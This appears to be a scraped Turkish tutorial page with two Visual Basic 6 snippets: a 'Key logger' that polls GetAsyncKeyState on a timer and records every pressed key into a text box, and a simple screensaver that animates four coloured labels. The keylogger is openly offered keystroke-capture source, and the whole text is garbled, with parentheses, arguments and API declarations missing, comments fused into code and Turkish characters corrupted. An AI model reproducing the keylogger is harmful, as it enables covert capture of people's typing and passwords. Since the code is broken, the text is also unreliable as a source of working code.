Key logger Private Declare Function GetKeyState Lib "user32" As Integer Private Sub Form_Load Timer1. Enabled = True VB de thread kullanamyyaca?ymyz için ona benzer olarak yada yakyn olarak Timer objesini kullanyyoruz. Bunun içinde Timer1 i açyly?ta Enable ediyoruz. End Sub Private Sub Timer1_Timer CheckKeys Tu?lary yakalayyp belirleyen yordam End Sub Private Sub CheckKeys Dim keyResult As String Döngü içerisinde iken kullanylacak geçici de?i?ken Dim keyIndex As Long For keyIndex = 1 To 255 Toplam 255 adet tu? oldu?u için 1 den 255 e kadar For-Next ile dönece?iz. keyResult = 0 Önce keyResult y syfyrlayalym, keyResult = GetAsyncKeyState Syradaki tu?un durumunu ö?renelim, If keyResult = -32767 Then Tu? basyly ise geriye -32767 dönecektir. Call Windows_OnKeyPress Event y simule etmek için tu?un de?erini Sub a geçirelim. End If Next keyIndex End Sub Private Sub Windows_OnKeyPress Tu? Yakalamada Event y Simule etmek için kullanylacak Sub Text1 = Text1 & Chr & Shift End Sub Private Function GetCapsLock As Boolean GetCapsLock = CBool(GetKeyState And 1) API ye Capslock tu?unu sorgulayalym End Function Private Function GetShift As Long ax = GetAsyncKeyState API ye Shift tu?unu sorgulayalym If ax = -32768 Then GetShift = 1 E?er basyly ise 1 döndür End Function Private Function GetCtrl As Long ax = GetAsyncKeyState API ye Ctrl tu?unu sorgulayalym If ax = -32768 Then GetCtrl = 1 E?er basyly ise 1 döndür End Function Private Function GetAlt As Long ax = GetAsyncKeyState API ye Alt tu?unu sorgulayalym If ax = -32768 Then GetAlt = 1 E?er basyly ise 1 döndür End Function Güzel bir ekran koruyucu Bu programda 4 label 2 timer kullanilmistir. Labelleri formun üzerine her biri bi kösede olmak üzere formu kaplayacak sekil de esit olarak büyültünüz. Formu tam ekran yapiniz. Her labelin rengini ve formun rengini degisik rengte yaparsaniz farki görürsünüz. Mesela label1 i kirmizi, label2 yi sari, label3 ü sari ve label 4 ü kirmizi yapiniz. kodlari uygun yerlerine yazdiktan sonra çalistiriniz. NOT:bilgisayarin ekran kartinin iyi olmasi gerekmektedir Aksi taktirde görüntü iyi olmaya bilir. Private Sub Form_Load Timer1. Interval = 1 Timer2. Enabled = False End Sub Private Sub Timer1_Timer Label1. Height = Label1. Height + 10 Label2. Height = Label2. Height + 10 Label3. Height = Label3. Height + 10 Label3. Top = Label3. Top - 10 Label4. Height = Label4. Height + 10 Label4. Top = Label4. Top - 10 If Label1. Height = 5105 Then Timer2. Interval = 1 Timer2. Enabled = True Timer1. Enabled = False End If End Sub Private Sub Timer2_Timer Timer1. Enabled = False Label1. Height = Label1. Height - 10 Label2. Height = Label2. Height - 10 Label3. Height = Label3. Height - 10 Label3. Top = Label3. Top + 10 Label4. Height = Label4. Height - 10 Label4. Top = Label4. Top + 10 If Label1. Height = 15 Then Timer1. Enabled = True Timer2. Enabled = False End If End Sub